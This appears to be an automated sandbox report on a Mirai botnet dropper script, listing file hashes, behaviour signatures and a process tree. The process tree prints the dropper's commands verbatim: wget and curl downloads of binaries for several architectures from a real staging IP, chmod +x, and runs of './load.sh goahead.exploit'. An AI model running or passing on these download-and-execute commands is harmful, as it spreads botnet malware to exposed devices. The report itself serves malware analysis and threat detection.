Overview

overview

10

Static

static

1

MO5UK_na.sh

ubuntu-18.04-amd64

10

MO5UK_na.sh

debian-9-armhf

10

MO5UK_na.sh

debian-9-mips

10

MO5UK_na.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    17-10-2024 07:09

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    MO5UK_na.sh

  • Size

    4KB

  • MD5

    ab9ca96b70ab2766af19b4f66ca51983

  • SHA1

    408dd59c1315ef7a8e4f24a1ba88f37e4a81afb4

  • SHA256

    92db80ff0a69312f362597f8b92ce9e6259384338e67d246f87549dbbae8597e

  • SHA512

    de536cc21e3801d8eadd752a01023966d0508b0511b212f5c3d98636c764b27cb15c8fab6141104f1613b997e7d6d4ee6b230f1ea4a1e534c044082304c0d54a

  • SSDEEP

    96:vNVj8Nw4fNx/gNN7UNdMdEpFlNn9iNUsTN2mRNRfQN3tqNuehNyS9NGWpNPll:oO4FK

Score
10/10
miraiunstablebotnetdefense_evasiondiscoveryupx

Malware Config

Extracted

Family

mirai

Botnet

UNSTABLE

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

    botnetmirai
  • Contacts a large (206987) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 7 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

    defense_evasion
  • Writes file to system bin folder 2 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Changes its process name 1 IoCs
  • Reads runtime system information 40 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 16 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/MO5UK_na.sh
    /tmp/MO5UK_na.sh
    1⤵
    • Writes file to tmp directory
    PID:706
    • /usr/bin/wget
      wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Writes file to tmp directory
      PID:710
    • /usr/bin/curl
      curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:730
    • /bin/cat
      cat db0fa4b8db0333367e9bda3ab68b8042.x86
      2⤵
        PID:735
      • /bin/chmod
        chmod +x db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh systemd-private-a4a67a7f56c24458acf20bd282a05261-systemd-timedated.service-TGJzIc
        2⤵
        • File and Directory Permissions Modification
        PID:736
      • /tmp/load.sh
        ./load.sh goahead.exploit
        2⤵
        • Executes dropped EXE
        PID:737
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:739
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:740
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mips
        2⤵
        • System Network Configuration Discovery
        PID:741
      • /bin/chmod
        chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh systemd-private-a4a67a7f56c24458acf20bd282a05261-systemd-timedated.service-TGJzIc
        2⤵
        • File and Directory Permissions Modification
        PID:742
      • /tmp/load.sh
        ./load.sh goahead.exploit
        2⤵
        • Executes dropped EXE
        • Modifies Watchdog functionality
        • Writes file to system bin folder
        • Changes its process name
        • Reads runtime system information
        PID:743
      • /usr/bin/wget
        wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Writes file to tmp directory
        PID:746
      • /usr/bin/curl
        curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:757
      • /bin/cat
        cat db0fa4b8db0333367e9bda3ab68b8042.mpsl
        2⤵
          PID:785
        • /bin/chmod
          chmod +x db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh systemd-private-a4a67a7f56c24458acf20bd282a05261-systemd-timedated.service-TGJzIc
          2⤵
          • File and Directory Permissions Modification
          PID:787
        • /tmp/load.sh
          ./load.sh goahead.exploit
          2⤵
          • Executes dropped EXE
          PID:788
        • /usr/bin/wget
          wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Writes file to tmp directory
          PID:792
        • /usr/bin/curl
          curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:802
        • /bin/cat
          cat db0fa4b8db0333367e9bda3ab68b8042.arm
          2⤵
            PID:837
          • /bin/chmod
            chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh
            2⤵
            • File and Directory Permissions Modification
            PID:838
          • /tmp/load.sh
            ./load.sh goahead.exploit
            2⤵
            • Executes dropped EXE
            PID:839
          • /usr/bin/wget
            wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Writes file to tmp directory
            PID:841
          • /usr/bin/curl
            curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:842
          • /bin/cat
            cat db0fa4b8db0333367e9bda3ab68b8042.arm5
            2⤵
              PID:843
            • /bin/chmod
              chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh
              2⤵
              • File and Directory Permissions Modification
              PID:844
            • /tmp/load.sh
              ./load.sh goahead.exploit
              2⤵
              • Executes dropped EXE
              PID:845
            • /usr/bin/wget
              wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Writes file to tmp directory
              PID:847
            • /usr/bin/curl
              curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:848
            • /bin/cat
              cat db0fa4b8db0333367e9bda3ab68b8042.arm6
              2⤵
                PID:849
              • /bin/chmod
                chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh
                2⤵
                • File and Directory Permissions Modification
                PID:850
              • /tmp/load.sh
                ./load.sh goahead.exploit
                2⤵
                • Executes dropped EXE
                PID:851
              • /usr/bin/wget
                wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Writes file to tmp directory
                PID:853
              • /usr/bin/curl
                curl -O http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:854
              • /bin/cat
                cat db0fa4b8db0333367e9bda3ab68b8042.arm7
                2⤵
                  PID:855
                • /bin/chmod
                  chmod +x db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.x86 load.sh MO5UK_na.sh
                  2⤵
                  • File and Directory Permissions Modification
                  PID:856
                • /tmp/load.sh
                  ./load.sh goahead.exploit
                  2⤵
                  • Executes dropped EXE
                  PID:857
                • /usr/bin/wget
                  wget http://87.236.95.134/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.ppc
                  2⤵
                  • Writes file to tmp directory
                  PID:859

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
                Filesize

                33KB

                MD5

                6d1b6e91b1e2037fbf62ca7ddcf04932

                SHA1

                d0769095ec2e678074eb206b3537022129c1a776

                SHA256

                7f307860b88d639313ebd4195f1ef6a8d668d1941c6cbf6dc968961b1fe42782

                SHA512

                7397ef3b4f7d34b0637de721f38ac833ad6d526e9b7cdbc08fdb4b261fa675001a8079ff4b9378fa219090a945126832cb1ab3db86b35da0090b20051d31bb38

                Download Submit

              • /tmp/load.sh
                Filesize

                35KB

                MD5

                fd5d7deebbb62aee931a1701a1042450

                SHA1

                4adc94ce9de13647815a16d6514b73e109c80785

                SHA256

                7a36bd7a9d19b6d48807264712141dd0543ffebd9db923a76799ffd687f352c9

                SHA512

                cb7beeb8d88ad48ac447b69b215738cdf1d706cb88c4945d0a0837c07dfe41a74107f9c4d7fccc5c7e5719ee9a912452ba3c53c360252bd46978f5d27c1b6df4

                Download Submit

              • /tmp/load.sh
                Filesize

                37KB

                MD5

                144cc0c6dfb6f6e395065b02825a9ad1

                SHA1

                dfe5d7d8bef4511b42be1ae0235f7469d97bf789

                SHA256

                117cd63b79b8c0d3753ac6907206872d6527c2d6a641776c1021302d5dcec2b2

                SHA512

                9e5ca9ee3ebef09688d74de6bb4af9d6c1003173ee5846cd2370d4774e9bc92fef317113b19529cd2a5b1d18a38a626ebf6ed2da05e6c7b66e0d1b69d8ddc5d5

                Download Submit

              • /tmp/load.sh
                Filesize

                34KB

                MD5

                b478298246ee6d313f4f576d0f7ec4cd

                SHA1

                94d25c6d4cfb1e218120d378d14c8d5ab868363b

                SHA256

                ed04f35cc6c4bef7ea8bf398436da916ebfab2490c10bd1d59df70f648e80df5

                SHA512

                83f67116e5c7074dcfa0e98d94697a0db2bdcaed15060aa31ed6a20eb543fd1d10d8fe26856178f78cc7402531de358e4b6c1d294086b18ab891d23954e78307

                Download Submit

              • /tmp/load.sh
                Filesize

                30KB

                MD5

                d8893525da7152c787dcc7d6309a61ba

                SHA1

                87fa7fb894caaa77a9caa7bca6a5fd3fbe09f7cd

                SHA256

                2a1b03ac26cc72118fb419de4bee3352adf536ee4d5472e8cee14150ca53b8ef

                SHA512

                8fcf808c627c080350adcf005df853a6c1f3fb3e3b2b5d2745a972dcc4064ff731f7cebbbd7d4e8c9ade91727f587356f844b783fa6c90a2191b80a38ca1f6e6

                Download Submit

              • /tmp/load.sh
                Filesize

                58KB

                MD5

                7324dbeb098c782561c906ebab3ee1ea

                SHA1

                e6f5ea8561a51cd096aeb2e10a98e17199e399f8

                SHA256

                730859ff16c34d990ddd18509a1a3c22a9b582944fc68e6411f9895b79239895

                SHA512

                c5f519317a58b39d44af0c137a1f3cc8634a1306602e210f342e560ac68fba3fef05628b1058617e0673e104a1d06da98a74f2ac0817830146a0f955a5474f4d

                Download Submit